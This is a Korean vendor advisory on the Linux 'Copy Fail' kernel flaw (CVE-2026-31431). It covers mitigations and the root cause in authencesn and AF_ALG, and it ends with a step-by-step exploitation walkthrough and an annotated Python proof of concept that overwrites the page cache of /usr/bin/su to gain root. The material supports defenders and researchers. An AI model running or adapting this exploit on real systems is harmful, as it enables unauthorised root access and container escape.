블로그
home
Nation-State Cyber Actors Analysis Report
home

Linux 배포판 루트 권한 획득 취약점 (Copy Fail, CVE-2026-31431)

작성자
김미희
감수인
작성일
2026/04/30
배포일
2026/05/13
문서등급
TLP:CLEAR
Tags
CVE-2026-31431
Copy Fail
Linux Kernel
문서유형
TechNote

01. Overview

`Xint Code Research Team에서 Linux 커널의 authencesn 암호화 템플릿에서 발생하는 로직 결함을 이용해 권한이 없는 일반 사용자가 시스템 내 모든 읽기 가능한 파일의 페이지 캐시(Page Cache)내 4바이트를 이용해 루트 권한 획득이 가능한 Copy Fail(CVE-2026-31431) 발견
단 732바이트의 Python 스크립트만으로 setuid 바이너리를 수정하여 루트(root) 권한을 획득할 수 있으며, 컨테이너 경계를 넘어 호스트 시스템까지 영향
커널이 오염된 페이지를 '더티(dirty)'로 표시하지 않기 때문에 디스크의 실제 파일은 변하지 않으며, 무결성 검사 도구로도 탐지하기 어려운 공격 유형
[기존 리눅스 커널 취약점과의 작동원리 비교]
영향받는 대상 : Ubuntu, Amazon Linux, RHEL, SUSE 등 2017년 이후 출시된 거의 모든 Linux 배포판(커널 버전 6.12, 6.17, 6.18을 포함)

02. Mitigation & Remediation

2.1. 커널 패치

배포판의 커널 패키지를 메인라인 커밋 a664bf3d603d가 포함된 버전으로 즉시 업데이트

2.2. 모듈 비활성화

패치를 즉시 적용할 수 없는 환경이라면 algif_aead 커널 모듈을 비활성화하여 공격 경로를 차단
# 모듈 자동 로드 방지 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # 현재 로드된 모듈 제거 rmmod algif_aead 2>/dev/null || true
JavaScript
복사
하기 항목 중 영향받지 않는 기능의 경우 커널 암호화 API를 직접(Internal) 사용하며, 취약점이 발생하는 인터페이스인 AF_ALG를 거치지 않기 때문에 영향을 받지 않음
[기존 리눅스 커널 취약점과의 작동원리 비교]
AF_ALG는 커널 암호화 API로 들어가는 "사용자 공간용 정문"이기 때문에 비활성화한다고 해서 시스템 전체가 느려지지 않음
이를 사용하던 소수의 애플리케이션들은 일반적인 사용자 공간 암호화 라이브러리를 사용하도록 폴백(Fallback)되며, 이는 대부분의 다른 앱들이 이미 작동하는 방식과 동일
신뢰할 수 없는 워크로드 보호 (컨테이너/샌드박스)
컨테이너, 샌드박스, CI/CD 환경 등 신뢰할 수 없는 코드가 실행되는 환경에서는 패치 여부와 관계없이 Seccomp 등을 통해 AF_ALG 소켓 생성을 원천적으로 차단하는 것을 권장

03. Vulnerability Analysis

3.1. 기존 리눅스 커널 취약점과의 비교

과거에도 Linux 커널에서는 Dirty COW(CVE-2016-5195), Dirty Pipe(CVE-2022-0847)등 고위험군의 권한 상승 취약점이 존재
Dirty COW(CVE-2016-5195)는 VM 서브시스템의 'Copy-on-Write' 경로에서 발생하는 경합 조건(Race Condition)을 이용하기 때문에 성공을 위해 수차례 시도가 필요했고 때로는 시스템 크래시 유발
Dirty Pipe(CVE-2022-0847)는 특정 커널 버전에 국한되었으며 파이프 버퍼에 대한 매우 정밀한 조작이 필요
Copy Fail(CVE-2026-31431)은 복잡한 경합 조건이나 재시도, 혹은 시스템을 중단시킬 수 있는 정밀한 타이밍 조절이 전혀 필요없이 정해진 코드 경로를 따라가면 취약점이 발현되는 직선적 로직 결함 (Straight-line Logic Flaw)을 이용
(뛰어난 이식성)
Ubuntu, Amazon Linux, RHEL, SUSE 등 테스트된 모든 배포판과 아키텍처에서 동일한 스크립트가 그대로 작동
(초소형 익스플로잇)
전체 공격 코드는 표준 라이브러리(os, socket, zlib)만을 사용하는 짧은 Python 스크립트(os.splice를 위해 Python 3.10 이상 필요)로 별도로 컴파일된 페이로드나 의존성 패키지 설치가 불필요
(은밀성)
이 쓰기 작업은 일반적인 VFS(가상 파일 시스템) 쓰기 경로를 완전히 우회하기 때문에 오염된 페이지는 커널의 라이트백(Writeback) 메커니즘에 의해 'Dirty'로 표시되지 않음
즉 디스크 상의 원본 파일은 변하지 않고 메모리 내의 페이지 캐시만 오염되기 때문에, 디스크 체크섬을 비교하는 표준 파일 무결성 검사 도구들은 이 공격을 절대 감지할 수 없음
(크로스 컨테이너 기반 공격)
페이지 캐시는 컨테이너 경계를 포함하여 시스템의 모든 프로세스 간에 공유되기 때문에 Copy Fail은 단순한 로컬 권한 상승에 그치지 않고 강력한 컨테이너 탈출(Container Escape) 수단이자, Kubernetes 노드 전체를 장악할 수 있는 핵심 공격 벡터로 사용가능

3.2. 기술적 배경

1) AF_ALG와 splice()의 결합

AF_ALG는 커널의 암호화 서브시스템을 권한이 없는 사용자 공간에 노출하는 소켓 타입
사용자는 소켓을 열고 어떤 AEAD(연관 데이터와 함께 제공되는 인증 암호화) 템플릿에도 바인딩할 수 있으며, 임의의 데이터에 대해 암호화 또는 복호화를 수행되며 이 과정에서 별도의 특권이 불필요
이 버그의 기반이 되는 핵심 프리미티브 splice()은 데이터 복사 없이 파일 기술자(FD)와 파이프 간에 데이터를 전달하며, 이 과정에서 페이지 캐시 페이지를 참조(Reference) 방식으로 전달
사용자가 파일을 파이프로 splice()한 뒤 다시 AF_ALG 소켓으로 splice()하면, 소켓의 입력 스캐터리스트(Scatterlist)는 해당 파일의 커널 캐시 페이지에 대한 직접적인 참조
페이지는 복제되지 않으며, 스캐터리스트 엔트리는 해당 파일에 대한 모든 read(), mmap(), execve() 호출 시 사용되는 것과 동일한 물리 페이지를 가르킴

2) algif_aead.c의 In-place(제자리) 연산 설계

AEAD 복호화의 입력 구조는 “AAD(연관 데이터) || 암호문(CT) || 인증 태그(Tag)”로 구성
algif_aead.c 내부에서 recvmsg()는 이 작업을 In-place 방식으로 설정하는데 이는 암호화 알고리즘의 입력과 출력 모두에 동일한 스캐터리스트를 사용한다는 의미
(데이터 복사)
AAD와 암호문 데이터는 memcpy_sglist를 통해 입력 스캐터리스트에서 출력 버퍼로 바이트 단위 복사되고 이는 '진짜 복사'이며, 이때 페이지 캐시 페이지들은 읽기만 가능
(태그의 연결, The Vulnerability)
그러나 입력 스캐터리스트의 마지막 authsize 바이트인 인증 태그(Tag)는 복사되지 않고, 커널은 태그에 대한 스캐터리스트 엔트리를 그대로 유지한 채, sg_chain()을 사용하여 이를 출력 스캐터리스트의 끝에 연결
Input SGL: AAD || CT || Tag | | ^ | copy | | sg_chain (still references page cache pages) v v | Output SGL: AAD || CT ----+
JavaScript
복사
[데이터 흐름 시각화]
입력 SGL : AAD || CT || Tag (여기서 Tag는 페이지 캐시를 가리킴)
복사 과정 : AAD와 CT는 출력용 RX 버퍼(사용자 메모리)로 복사됨
연결 과정 : Tag 영역은 sg_chain을 통해 RX 버퍼 뒤에 그대로 붙음
최종적으로 커널은 req->src = req->dst를 설정하며, 두 포인터 모두 이 결합된 체인의 헤드를 가리킴
req->src ----+ | v req->dst --> [ AAD || CT ] --> [ Tag (page cache pages) ] | | | | +-- RX buffer --+ +-- chained from TX SGL -+ | (user mem) | (file's page cache)
JavaScript
복사

3) 설계상의 결함

이러한 In-place 설계가 취약점의 근본 원인으로 이 구조는 페이지 캐시 페이지를 쓰기 가능한 스캐터리스트에 배치시키며, 정상적인 쓰기 영역(RX 버퍼)과 오프셋 경계 하나만으로 분리해 놓은 상태
이 설계는 "모든 AEAD 알고리즘이 지정된 목적지 범위 내에서만 쓰기를 수행할 것"이라고 가정하지만 커널 API 내에서 이를 강제하는 장치는 없으며, 이를 요구 사항으로 명시한 문서조차 존재하지 않음
불행하게도, 한 가지 AEAD 알고리즘이 이 암묵적인 불변성(Invariant)을 깨트림

3.3. 취약점 트리거 : authencesn의 스크래치 쓰기(Scratch Write)

1) authencesn의 비정상적 출력 규약

커널의 AEAD API는 복호화 시 명확한 출력 규약을 정의함: 목적지 버퍼는 정확히 assoclen + (cryptlen - authsize) 바이트만큼의 AAD || 평문 데이터를 수신해야 함
authencesn은 IPsec에서 확장 시퀀스 번호(ESN)를 지원하기 위해 사용하는 AEAD 래퍼(Wrapper)임
IPsec은 64비트 시퀀스 번호를 상위 절반(seqno_hi, AAD의 0~3바이트)과 하위 절반(seqno_lo, 4~7바이트)으로 나누어 사용함
네트워크 전송 포맷에는 seqno_lo만 포함되고 seqno_hi는 암시적임. HMAC 계산을 위해 authencesn은 이 바이트들을 재배치해야 하며, seqno_hi를 해시 입력의 맨 앞에, seqno_lo를 맨 뒤에 추가함

2) 목적지 버퍼를 임시 공간(Scratch pad)으로 오용

authencesn은 호출자의 목적지 버퍼를 임시 작업 공간으로 사용하여 이 재배치 작업을 수행하며 crypto_authenc_esn_decrypt() 함수 내의 동작은 다음과 같음
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // AAD 0~7바이트를 읽음 scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // dst[4..7]을 seqno_hi로 덮어씀 scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // 태그(Tag) 뒤쪽 영역에 seqno_lo를 기록함
JavaScript
복사
앞의 두 호출은 AAD 영역 내에서 ESN 바이트를 섞는 작업으로 나중에 복구되지만, 세 번째 호출은 AEAD 태그를 지나친 assoclen + cryptlen 오프셋 위치에 4바이트를 기록함
즉, 알고리즘이 자신이 소유하지 않은 메모리 영역을 임시 메모리(Scratch pad)로 사용하고 있는 것임

3) 데이터 유실 및 결정적 오염

해당 위치에 있던 원래의 바이트들은 영구적으로 손실됨. crypto_authenc_esn_decrypt_tail()이 AAD 복원을 위해 seqno_lo를 다시 읽어오긴 하지만, dst[assoclen + cryptlen] 위치에 원래 있던 내용을 다시 써넣지는 않음
해당 위치는 작업의 성공 여부와 관계없이 언제나 소모 가능한 '스크래치' 공간으로 취급
커널 내의 다른 표준 AEAD 알고리즘(GCM, CCM, 일반 authenc 등)은 모두 정해진 출력 영역 내에서만 쓰기를 수행하며, 오직 authencesn만이 경계를 넘어서는 쓰기 작업을 수행

4) AF_ALG In-place 경로를 통한 페이지 캐시 오염

AF_ALG의 In-place 경로에서 이 쓰기 작업은 출력 버퍼를 넘어 체인으로 연결된 페이지 캐시 태그 페이지까지 침범함
scatterwalk_map_and_copy는 RX 버퍼를 지나쳐 페이지 캐시 페이지를 kmap_local_page로 매핑한 뒤, seqno_lo 값을 타겟 파일의 커널 캐시 복사본에 직접 기록함
이후 HMAC 계산이 실행되고(조작된 암호문이므로) 실패하게 됨. recvmsg()는 에러를 반환하지만, 공격자가 제어하는 4바이트의 데이터 쓰기는 이미 완료되어 메모리에 남게 됨

5) 공격자의 제어 요소

공격자는 다음 세 가지 요소를 완벽하게 제어 가능
어떤 파일인가 : 현재 사용자가 읽을 수 있는 모든 파일
어느 위치인가(오프셋) : 태그 영역은 splice된 파일 데이터의 마지막 authsize 바이트에 대응하며 공격자는 splice하는 파일의 오프셋, 길이, assoclen을 조절하여 파일 페이지 캐시 내의 정확히 어느 4바이트를 덮어쓸지 결정함
어떤 값인가 : 덮어씌워질 4바이트 값(seqno_lo)은 공격자가 sendmsg()를 통해 구성한 AAD의 4~7바이트에서 직접 가져옴

3.4. 발생 배경

1) 취약점의 역사적 형성 과정

2011년 (authencesn 도입): IPsec ESP의 64비트 확장 시퀀스 번호(ESN, RFC 4303)를 지원하기 위해 authencesn이 커널에 추가됨(a5079d084f8b)
초기부터 이 코드는 ESN 바이트 재배치를 위해 호출자의 목적지 스캐터리스트를 임시 공간으로 사용함
당시에는 연관 데이터(AAD)가 별도의 스캐터리스트에 있었고, 호출자가 커널 내부의 xfrm 레이어뿐이었기에 중간에 발생하는 쓰기 작업이 외부로 노출되지 않아 무해했음
2015년 (AF_ALG 및 AEAD 업데이트): AF_ALG에 AEAD 지원이 추가되었으며, splice() 경로를 통해 페이지 캐시 페이지를 암호화 스캐터리스트로 전달할 수 있게 됨
같은 해, authencesn이 새로운 AEAD 인터페이스로 전환(104880a6b470)되면서 출력 경계를 넘어서 쓰는 assoclen + cryptlen 오프셋이 도입됨
하지만 당시 AF_ALG는 입력(src)과 출력(dst)이 분리된 방식을 사용했으므로 페이지 캐시는 읽기 전용인 src에만 존재했고, 임시 쓰기는 사용자 버퍼인 dst에만 발생하여 아직 공격이 불가능했음
2017년 (In-place 최적화 도입): algif_aead.c에 AEAD 연산을 제자리(In-place)에서 수행하는 최적화가 추가됨(72548b093ee3)
복호화 시 AAD와 암호문은 RX 버퍼로 복사하지만, 태그(Tag) 페이지는 sg_chain()을 통해 참조 방식으로 연결함
이후 req->src = req->dst로 설정함에 따라 splice에서 온 페이지 캐시 페이지가 쓰기 가능한 목적지 스캐터리스트에 배치됨. 이로 인해 authencesn이 dst[assoclen + cryptlen]에 쓰는 작업이 체인으로 연결된 태그 페이지로 흘러 들어가게 됨

2) 결론

2017년의 최적화가 authencesn의 임시 쓰기 작업이나 splice 경로의 페이지 캐시 사용과 연결될 것이라고는 아무도 예상하지 못함
각 변경 사항은 개별적으로는 타당했으나, 세 가지 요소가 교차하는 지점에서 취약점이 발생했으며 약 10년 동안 은밀하게 악용 가능한 상태로 방치됨

3.5. 익스플로잇 과정

기본적인 공격 경로는 대부분의 주요 Linux 배포판에 공통적으로 존재하는 setuid-root 바이너리인 /usr/bin/su를 타겟팅

1) 단계별 공격 시나리오

1단계 : 소켓 설정
AF_ALG 소켓을 열고 authencesn(hmac(sha256),cbc(aes))에 바인딩한 후 키를 설정함. AF_ALG는 기본적으로 일반 사용자에게 허용되므로 특권이 필요 없음
2단계 : 쓰기 작업 구성
셸코드 페이로드의 각 4바이트 청크에 대해 sendmsg()splice() 쌍을 구성함. sendmsg는 AAD를 제공하며, 여기에 기록할 4바이트 값(seqno_lo)을 실어 보냄. splice는 타겟 파일(/usr/bin/su)의 페이지 캐시 페이지를 암호문 및 태그로 제공함. AEAD 파라미터를 정밀하게 조정하여 dst[assoclen + cryptlen]/usr/bin/su의 .text 섹션 내 정확한 오프셋에 떨어지도록 맞춤
3단계 : 쓰기 트리거
recv()를 호출하여 복호화 연산을 트리거함. 커널 내부에서 ESN 바이트를 읽고 dst[assoclen + cryptlen] 위치에 seqno_lo를 기록함. 이때 쓰기 작업이 출력 버퍼를 넘어 체인된 페이지 캐시 페이지로 전달되어 메모리 상의 /usr/bin/su 복사본 4바이트가 수정됨되며 HMAC 검증은 실패하여 에러가 반환되지만, 페이지 캐시는 이미 오염된 상태임
4단계 : 실행
모든 청크가 기록되면 execve("/usr/bin/su")를 호출함. 커널은 페이지 캐시로부터 바이너리를 로드하는데, 여기에는 공격자가 주입한 셸코드가 포함되어 있으며, su는 setuid-root 파일이므로 주입된 셸코드는 UID 0(Root) 권한으로 실행됨

2) 공격 코드 예시 (Python)

CVE-2026-31431 copy_fail_exp.py
POC 코드 기능별 설명
import socket import os # --- 1단계: AF_ALG 소켓 설정 --- # AF_ALG(38) 소켓을 열고 취약한 알고리즘인 authencesn에 바인딩합니다. # 이 인터페이스는 일반 사용자 권한으로도 접근 가능합니다. alg_sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # 암호화에 필요한 임의의 키를 설정합니다. (값 자체는 중요하지 않음) alg_sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b"\x00" * 64) # 실제 연산을 수행할 요청 소켓(Accept)을 생성합니다. u, _ = alg_sock.accept() # --- 2단계: 타겟 파일 및 파이프 준비 --- # 루팅을 위해 setuid-root 권한이 있는 /usr/bin/su 파일을 읽기 전용으로 엽니다. target_fd = os.open("/usr/bin/su", os.O_RDONLY) # splice()를 위해 중간 매개체인 파이프를 생성합니다. pipe_rd, pipe_wr = os.pipe() # --- 3단계: 공격 페이로드 구성 (4바이트 쓰기 설정) --- # AAD4~7바이트(seqno_lo)에 기록하려는 4바이트 데이터를 넣습니다. # 이 값이 나중에 페이지 캐시의 특정 위치에 써지게 됩니다. write_value = b"\xde\xad\xbe\xef" # 예: JMP 명령어나 셸코드 일부 aad_data = b"A" * 4 + write_value # sendmsg를 통해 AAD를 커널에 보냅니다. MSG_MORE는 다음 데이터를 기다리게 합니다. u.sendmsg([aad_data], [(socket.SOL_ALG, socket.ALG_SET_OP, 0)], socket.MSG_MORE) # --- 4단계: 페이지 캐시 주입 및 트리거 --- # # 1. 타겟 파일(/usr/bin/su)의 특정 오프셋에서 데이터를 파이프로 가져옵니다. # 여기서 선택한 offset에 따라 파일의 어느 부분이 오염될지 결정됩니다. os.splice(target_fd, pipe_wr, offset=0x1234, len=16) # 2. 파이프에 담긴 '페이지 캐시 참조'AF_ALG 소켓의 입력으로 전달합니다. # 이제 소켓의 입력 스캐터리스트는 /usr/bin/su의 실제 메모리 페이지를 가리킵니다. os.splice(pipe_rd, u.fileno(), len=16) # 3. recv()를 호출하여 복호화 연산을 수행합니다. # 커널 내부에서 authencesn 알고리즘이 실행되며: # a) AAD에서 seqno_lo(write_value)를 읽음 # b) dst[assoclen + cryptlen] 위치에 해당 값을 기록함 # c) 이때 dst의 끝은 splice된 페이지 캐시이므로, 메모리 상의 su 파일이 수정됨! try: u.recv(1024) except OSError: # HMAC 검증 실패로 에러가 발생하지만, 이미 메모리 쓰기는 완료된 후입니다. pass # --- 5단계: 권한 상승 실행 --- # 이제 페이지 캐시 내의 /usr/bin/su는 공격자가 주입한 코드로 수정된 상태입니다. # 이를 실행하면 수정된 코드가 UID 0(Root) 권한으로 돌아갑니다. os.execve("/usr/bin/su", ["/usr/bin/su"], {})
JavaScript
복사
POC 실행결과
Ubuntu 24.04 LTS
Ubuntu 22.04.5
그 외 버전의 POC 실행결과
IGLOO Corp. 2026. All rights reserved.